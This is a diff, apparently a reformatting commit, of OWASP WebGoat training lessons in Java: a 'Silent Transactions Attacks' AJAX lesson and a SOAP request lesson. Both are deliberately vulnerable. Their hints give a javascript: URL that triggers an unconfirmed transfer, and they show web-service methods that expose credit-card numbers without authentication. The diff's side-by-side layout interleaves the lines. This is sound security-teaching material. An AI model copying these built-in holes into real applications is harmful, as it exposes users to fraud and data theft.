+ " document.getElementById('confirm').value = 'Transferring'"
+ lineSep
+ "submitData(accountNo, amount);"
+ lineSep
+ " document.getElementById('confirm').value = 'Confirm'"
+ lineSep
+ "balanceValue = parseFloat(balanceValue) - parseFloat(amount);"
+ lineSep
+ "balanceValue = balanceValue.toFixed(2);"
+ lineSep
+ "document.getElementById('balanceID').innerHTML = balanceValue + '$';"
+ lineSep
+ "}"
+ lineSep
+ "function submitData(accountNo, balance) {"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; "
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var result = req.responseText ;"
+ lineSep
+ " var resultsDiv = document.getElementById('resultsDiv');"
+ lineSep + " resultsDiv.innerHTML = '';" + lineSep
+ " resultsDiv.innerHTML = result;" + lineSep
+ " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new PRE());
ec.addElement(new H1("Welcome to WebGoat Banking System")); Input b = new Input();
ec.addElement(new BR()); b.setType(Input.BUTTON);
ec.addElement(new H3("Account Summary:")); b.setName("confirm");
b.addAttribute("id", "confirm");
b.setValue("Confirm");
b.setOnClick("processData();");
ec.addElement(b);
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1) ec.addElement(new BR());
.setWidth("70%").setAlign("left"); Div div = new Div();
ec.addElement(new BR()); div.addAttribute("name", "resultsDiv");
TR tr = new TR(); div.addAttribute("id", "resultsDiv");
tr.addElement(new TD(new StringElement("Account Balance:"))); div.setStyle("font-weight: bold;color:red;");
tr.addElement(new TD(new StringElement("<div id='balanceID'>" ec.addElement(div);
+ CURRENT_BALANCE.toString() + "$</div>")));
t1.addElement(tr);
tr = new TR(); return ec;
tr.addElement(new TD(new StringElement("Transfer to Account:"))); }
Input newAccount = new Input();
newAccount.addAttribute("id", "newAccount");
newAccount.setType(Input.TEXT);
newAccount.setName("newAccount");
newAccount.setValue("");
tr.addElement(new TD(newAccount));
t1.addElement(tr);
tr = new TR(); protected Category getDefaultCategory()
tr.addElement(new TD(new StringElement("Transfer Amount:"))); {
Input amount = new Input(); return Category.AJAX_SECURITY;
amount.addAttribute("id", "amount"); }
amount.setType(Input.TEXT);
amount.setName("amount");
amount.setValue(0);
tr.addElement(new TD(amount));
t1.addElement(tr);
ec.addElement(t1); protected List<String> getHints(WebSession s)
ec.addElement(new BR()); {
ec.addElement(new BR()); List<String> hints = new ArrayList<String>();
hints.add("Check the javascript in the HTML source.");
hints.add("Check how the application calls a specific javascript function to execute the transaction.");
hints.add("Check the javascript functions processData and submitData()");
hints.add("Function submitData() is the one responsible for actually ececuting the transaction.");
hints.add("Check if your browser supports running javascript from the address bar.");
hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'");
return hints;
ec.addElement(new PRE()); }
Input b = new Input();
b.setType(Input.BUTTON);
b.setName("confirm");
b.addAttribute("id", "confirm");
b.setValue("Confirm");
b.setOnClick("processData();");
ec.addElement(b);
ec.addElement(new BR()); protected Integer getDefaultRanking()
Div div = new Div(); {
div.addAttribute("name", "resultsDiv"); return DEFAULT_RANKING;
div.addAttribute("id", "resultsDiv"); }
div.setStyle("font-weight: bold;color:red;");
ec.addElement(div);
return ec; /**
} * Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Silent Transactions Attacks");
}
public Element getCredits()
protected Category getDefaultCategory() {
{ return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
return Category.AJAX_SECURITY; }
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Check the javascript in the HTML source.");
hints
.add("Check how the application calls a specific javascript function to execute the transaction.");
hints
.add("Check the javascript functions processData and submitData()");
hints
.add("Function submitData() is the one responsible for actually ececuting the transaction.");
hints
.add("Check if your browser supports running javascript from the address bar.");
hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'");
return hints;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Silent Transactions Attacks");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
} }

View File

@ -1,9 +1,8 @@
/* /*
* Created on May 26, 2005 * Created on May 26, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -12,7 +11,6 @@ import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -28,476 +26,454 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Window - Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class SoapRequest extends SequentialLessonAdapter public class SoapRequest extends SequentialLessonAdapter
{ {
public final static String firstName = "getFirstName"; public final static String firstName = "getFirstName";
public final static String lastName = "getLastName"; public final static String lastName = "getLastName";
public final static String loginCount = "getLoginCount"; public final static String loginCount = "getLoginCount";
public final static String ccNumber = "getCreditCard"; public final static String ccNumber = "getCreditCard";
//int instead of boolean to keep track of method invocation count // int instead of boolean to keep track of method invocation count
static int accessFirstName; static int accessFirstName;
static int accessLastName; static int accessLastName;
static int accessCreditCard; static int accessCreditCard;
static int accessLoginCount; static int accessLoginCount;
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class * We maintain a static reference to WebgoatContext, since this class is also automatically
* is also automatically instantiated by the Axis web services module, * instantiated by the Axis web services module, which does not call setWebgoatContext()
* which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) { public void setWebgoatContext(WebgoatContext webgoatContext)
{
SoapRequest.webgoatContext = webgoatContext; SoapRequest.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() { public WebgoatContext getWebgoatContext()
{
return SoapRequest.webgoatContext; return SoapRequest.webgoatContext;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Accessible operations are delimited by the &lt;operation&gt; tag contained within the &lt;portType&gt; section of the WSDL. <BR> Below is an example of a typical operation (getFirstName): <br><br>"
+ "&lt;wsdl:portType name=\"SoapRequest\"&gt; <br>"
+ "&lt;wsdl:<strong>operation name=\"getFirstName\"</strong>&gt;<br>"
+ "&lt;wsdl:input message=\"impl:getFirstNameRequest\" name=\"getFirstNameRequest\" /&gt;<br>"
+ "&lt;wsdl:output message=\"impl:getFirstNameResponse\" name=\"getFirstNameResponse\" /&gt;<br>"
+ "&lt;wsdlsoap:operation soapAction=\"\" /&gt;"
+ "&lt;/wsdl:portType&gt;<br><br>"
+ "The methods invoked are defined by the input and output message attributes. "
+ "Example: <strong>\"getFirstNameRequest\"</strong>");
hints
.add("There are several tags within a SOAP envelope. "
+ "Each namespace is defined in the &lt;definitions&gt; section of the WSDL, and is declared using the (xmlns:namespace_name_here=\"namespace_reference_location_here\") format.<br><br>"
+ "The following example defines a tag \"&lt;xsd:\", whose attribute structure will reference the namespace location assigned to it in the declaration:<br>"
+ "<strong>xmlns:xsd=\"http://www.w3.org/2001/XMLSchema</strong>");
hints
.add("Determine what parameters and types are required by the message definition corresponding to the operation's request method. "
+ "This example defines a parameter (id) of type (int) in the namespace (xsd) for the method (getFirstNameRequest):<br>"
+ "&lt;wsdl:message name=\"getFirstNameRequest\"<br><br>"
+ "&lt;wsdl:<strong>part name=\"id\" type=\"xsd:int\"</strong> /&gt;<br>"
+ "&lt;/wsdl:message&gt;<br><br>"
+ "Examples of other types:<br>"
+ "{boolean, byte, base64Binary, double, float, int, long, short, unsignedInt, unsignedLong, unsignedShort, string}.<br>");
String soapEnv = "A SOAP request uses the following HTTP header: <br><br> "
+ "SOAPAction: some action header, can be &quot;&quot; <br><br>"
+ "The SOAP message body has the following format:<br>"
+ "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>"
+ "&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>"
+ " xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>"
+ " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&lt;/SOAP-ENV:Envelope&gt; <br><br>"
+ "Intercept the HTTP request and try to create a SOAP request.";
soapEnv.replaceAll("(?s) ", "&nbsp;");
hints.add(soapEnv);
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Create a SOAP Request";
}
protected Element makeOperationsLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor())
{ {
t1.setBorder(1); return Category.WEB_SERVICES;
} }
TR tr = new TR(); protected List<String> getHints(WebSession s)
tr.addElement(new TD()
.addElement("How many operations are defined in the WSDL: "));
tr.addElement(new TD(new Input(Input.TEXT, "count", "")));
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr);
ec.addElement(t1);
return ec;
}
protected Element makeTypeLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor())
{ {
t1.setBorder(1); List<String> hints = new ArrayList<String>();
hints
.add("Accessible operations are delimited by the &lt;operation&gt; tag contained within the &lt;portType&gt; section of the WSDL. <BR> Below is an example of a typical operation (getFirstName): <br><br>"
+ "&lt;wsdl:portType name=\"SoapRequest\"&gt; <br>"
+ "&lt;wsdl:<strong>operation name=\"getFirstName\"</strong>&gt;<br>"
+ "&lt;wsdl:input message=\"impl:getFirstNameRequest\" name=\"getFirstNameRequest\" /&gt;<br>"
+ "&lt;wsdl:output message=\"impl:getFirstNameResponse\" name=\"getFirstNameResponse\" /&gt;<br>"
+ "&lt;wsdlsoap:operation soapAction=\"\" /&gt;"
+ "&lt;/wsdl:portType&gt;<br><br>"
+ "The methods invoked are defined by the input and output message attributes. "
+ "Example: <strong>\"getFirstNameRequest\"</strong>");
hints
.add("There are several tags within a SOAP envelope. "
+ "Each namespace is defined in the &lt;definitions&gt; section of the WSDL, and is declared using the (xmlns:namespace_name_here=\"namespace_reference_location_here\") format.<br><br>"
+ "The following example defines a tag \"&lt;xsd:\", whose attribute structure will reference the namespace location assigned to it in the declaration:<br>"
+ "<strong>xmlns:xsd=\"http://www.w3.org/2001/XMLSchema</strong>");
hints
.add("Determine what parameters and types are required by the message definition corresponding to the operation's request method. "
+ "This example defines a parameter (id) of type (int) in the namespace (xsd) for the method (getFirstNameRequest):<br>"
+ "&lt;wsdl:message name=\"getFirstNameRequest\"<br><br>"
+ "&lt;wsdl:<strong>part name=\"id\" type=\"xsd:int\"</strong> /&gt;<br>"
+ "&lt;/wsdl:message&gt;<br><br>"
+ "Examples of other types:<br>"
+ "{boolean, byte, base64Binary, double, float, int, long, short, unsignedInt, unsignedLong, unsignedShort, string}.<br>");
String soapEnv = "A SOAP request uses the following HTTP header: <br><br> "
+ "SOAPAction: some action header, can be &quot;&quot; <br><br>"
+ "The SOAP message body has the following format:<br>"
+ "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>"
+ "&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>"
+ " xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>"
+ " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>" + "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&lt;/SOAP-ENV:Envelope&gt; <br><br>"
+ "Intercept the HTTP request and try to create a SOAP request.";
soapEnv.replaceAll("(?s) ", "&nbsp;");
hints.add(soapEnv);
return hints;
} }
TR tr = new TR(); private final static Integer DEFAULT_RANKING = new Integer(100);
tr
.addElement(new TD()
.addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: "));
tr.addElement(new TD(new Input(Input.TEXT, "type", "")));
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr);
ec.addElement(t1); protected Integer getDefaultRanking()
return ec;
}
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return viewWsdl(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return determineType(s);
}
protected Element doStage3(WebSession s) throws Exception
{
return createSoapEnvelope(s);
}
protected Element viewWsdl(WebSession s)
{
ElementContainer ec = new ElementContainer();
//DEVNOTE: Test for stage completion.
try
{ {
int operationCount = 0; return DEFAULT_RANKING;
operationCount = s.getParser().getIntParameter("count");
if (operationCount == 4)
{
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
}
else
{
s.setMessage("Sorry, that is an incorrect count. Try Again.");
}
}
catch (NumberFormatException nfe)
{
//DEVNOTE: Eat the exception.
//ec.addElement( new P().addElement( nfe.getMessage() ) );
s.setMessage("Sorry, that answer is invalid. Try again.");
}
catch (ParameterNotFoundException pnfe)
{
//DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) );
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
//DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or not public String getTitle()
if (getLessonTracker(s).getStage() == 1)
//if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") )
{ {
ec.addElement(makeOperationsLine(s)); return "Create a SOAP Request";
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
} }
//getLessonTracker( s ).setCompleted( SoapRequest.completed ); protected Element makeOperationsLine(WebSession s)
return (ec);
}
protected Element determineType(WebSession s)
{
ElementContainer ec = new ElementContainer();
//DEVNOTE: Test for stage completion.
try
{ {
String paramType = ""; ElementContainer ec = new ElementContainer();
paramType = s.getParser().getStringParameter("type");
//if (paramType.equalsIgnoreCase("int")) Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (paramType.equals("int"))
{
getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. ");
//s.setMessage("Now, you'll craft a SOAP envelope for invoking a web service directly.");
// Redirect user to Stage2 content. if (s.isColor())
ec.addElement(doStage3(s));
}
else
{
s.setMessage("Sorry, that is an incorrect type. Try Again.");
}
}
catch (ParameterNotFoundException pnfe)
{
//DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) );
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
//DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or not
if (getLessonTracker(s).getStage() == 2)
//if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") )
{
ec.addElement(makeTypeLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
}
//getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
protected Element createSoapEnvelope(WebSession s)
{
ElementContainer ec = new ElementContainer();
// Determine how many methods have been accessed. User needs to check at least two methods
// before completing the lesson.
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) >= 2)
{
/** Reset function access counters **/
accessFirstName = accessLastName = accessCreditCard = accessLoginCount = 0;
//SoapRequest.completed = true;
makeSuccess(s);
}
else
{
// display Stage2 content
ec
.addElement(new P()
.addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br>"));
Element b = ECSFactory
.makeButton("Press to generate an HTTP request");
ec.addElement(b);
// conditionally display invoked methods
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) > 0)
{
ec.addElement("<br><br>Methods Invoked:<br>");
ec.addElement("<ul>");
if (accessFirstName > 0)
{ {
ec.addElement("<li>getFirstName</li>"); t1.setBorder(1);
} }
if (accessLastName > 0)
{
ec.addElement("<li>getLastName</li>");
}
if (accessCreditCard > 0)
{
ec.addElement("<li>getCreditCard</li>");
}
if (accessLoginCount > 0)
{
ec.addElement("<li>getLoginCount</li>");
}
ec.addElement("</ul>");
}
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File"); TR tr = new TR();
ec.addElement(new BR()); tr.addElement(new TD().addElement("How many operations are defined in the WSDL: "));
ec.addElement(a); tr.addElement(new TD(new Input(Input.TEXT, "count", "")));
} Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT"));
//getLessonTracker( s ).setCompleted( SoapRequest.completed ); t1.addElement(tr);
return (ec);
} ec.addElement(t1);
return ec;
public String getResults(int id, String field) }
{
try protected Element makeTypeLine(WebSession s)
{ {
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext()); ElementContainer ec = new ElementContainer();
PreparedStatement ps = connection
.prepareStatement("SELECT * FROM user_data WHERE userid = ?"); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
ps.setInt(1, id);
try if (s.isColor())
{ {
ResultSet results = ps.executeQuery(); t1.setBorder(1);
if ((results != null) && (results.next() == true)) }
{
return results.getString(field); TR tr = new TR();
} tr.addElement(new TD()
} .addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: "));
catch (SQLException sqle) tr.addElement(new TD(new Input(Input.TEXT, "type", "")));
{} Element b = ECSFactory.makeButton("Submit");
} tr.addElement(new TD(b).setAlign("LEFT"));
catch (Exception e) t1.addElement(tr);
{}
return null; ec.addElement(t1);
}
return ec;
}
public String getCreditCard(int id)
{ protected Element createContent(WebSession s)
String result = getResults(id, "cc_number"); {
//SoapRequest.completed = true; return super.createStagedContent(s);
}
if (result != null)
{ protected Element doStage1(WebSession s) throws Exception
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed. {
// This is intended to be used to determine how many methods have been accessed, not how often. return viewWsdl(s);
accessCreditCard = 1; }
return result;
} protected Element doStage2(WebSession s) throws Exception
return null; {
} return determineType(s);
}
public String getFirstName(int id) protected Element doStage3(WebSession s) throws Exception
{ {
String result = getResults(id, "first_name"); return createSoapEnvelope(s);
if (result != null) }
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed. protected Element viewWsdl(WebSession s)
// This is intended to be used to determine how many methods have been accessed, not how often. {
accessFirstName = 1; ElementContainer ec = new ElementContainer();
return result;
} // DEVNOTE: Test for stage completion.
return null; try
} {
int operationCount = 0;
operationCount = s.getParser().getIntParameter("count");
public String getLastName(int id)
{ if (operationCount == 4)
String result = getResults(id, "last_name"); {
if (result != null) getLessonTracker(s).setStage(2);
{ s.setMessage("Stage 1 completed.");
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often. // Redirect user to Stage2 content.
accessLastName = 1; ec.addElement(doStage2(s));
return result; }
} else
return null; {
} s.setMessage("Sorry, that is an incorrect count. Try Again.");
}
} catch (NumberFormatException nfe)
public String getLoginCount(int id) {
{ // DEVNOTE: Eat the exception.
String result = getResults(id, "login_count"); // ec.addElement( new P().addElement( nfe.getMessage() ) );
if (result != null) s.setMessage("Sorry, that answer is invalid. Try again.");
{ } catch (ParameterNotFoundException pnfe)
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed. {
// This is intended to be used to determine how many methods have been accessed, not how often. // DEVNOTE: Eat the exception.
accessLoginCount = 1; // ec.addElement( new P().addElement( pnfe.getMessage() ) );
return result; } catch (Exception e)
} {
return null; s.setMessage("Error generating " + this.getClass().getName());
} e.printStackTrace();
}
// DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or
// not
if (getLessonTracker(s).getStage() == 1)
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") )
{
ec.addElement(makeOperationsLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
}
// getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
protected Element determineType(WebSession s)
{
ElementContainer ec = new ElementContainer();
// DEVNOTE: Test for stage completion.
try
{
String paramType = "";
paramType = s.getParser().getStringParameter("type");
// if (paramType.equalsIgnoreCase("int"))
if (paramType.equals("int"))
{
getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. ");
// s.setMessage("Now, you'll craft a SOAP envelope for invoking a web service
// directly.");
// Redirect user to Stage2 content.
ec.addElement(doStage3(s));
}
else
{
s.setMessage("Sorry, that is an incorrect type. Try Again.");
}
} catch (ParameterNotFoundException pnfe)
{
// DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) );
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
// DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or
// not
if (getLessonTracker(s).getStage() == 2)
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") )
{
ec.addElement(makeTypeLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
}
// getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
protected Element createSoapEnvelope(WebSession s)
{
ElementContainer ec = new ElementContainer();
// Determine how many methods have been accessed. User needs to check at least two methods
// before completing the lesson.
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) >= 2)
{
/** Reset function access counters * */
accessFirstName = accessLastName = accessCreditCard = accessLoginCount = 0;
// SoapRequest.completed = true;
makeSuccess(s);
}
else
{
// display Stage2 content
ec
.addElement(new P()
.addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br>"));
Element b = ECSFactory.makeButton("Press to generate an HTTP request");
ec.addElement(b);
// conditionally display invoked methods
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) > 0)
{
ec.addElement("<br><br>Methods Invoked:<br>");
ec.addElement("<ul>");
if (accessFirstName > 0)
{
ec.addElement("<li>getFirstName</li>");
}
if (accessLastName > 0)
{
ec.addElement("<li>getLastName</li>");
}
if (accessCreditCard > 0)
{
ec.addElement("<li>getCreditCard</li>");
}
if (accessLoginCount > 0)
{
ec.addElement("<li>getLoginCount</li>");
}
ec.addElement("</ul>");
}
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new BR());
ec.addElement(a);
}
// getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
public String getResults(int id, String field)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id);
try
{
ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle)
{
}
} catch (Exception e)
{
}
return null;
}
public String getCreditCard(int id)
{
String result = getResults(id, "cc_number");
// SoapRequest.completed = true;
if (result != null)
{
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessCreditCard = 1;
return result;
}
return null;
}
public String getFirstName(int id)
{
String result = getResults(id, "first_name");
if (result != null)
{
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessFirstName = 1;
return result;
}
return null;
}
public String getLastName(int id)
{
String result = getResults(id, "last_name");
if (result != null)
{
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessLastName = 1;
return result;
}
return null;
}
public String getLoginCount(int id)
{
String result = getResults(id, "login_count");
if (result != null)
{
// DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed.
// This is intended to be used to determine how many methods have been accessed, not how
// often.
accessLoginCount = 1;
return result;
}
return null;
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -11,7 +12,6 @@ import java.util.Iterator;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.TreeMap; import java.util.TreeMap;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -23,366 +23,329 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
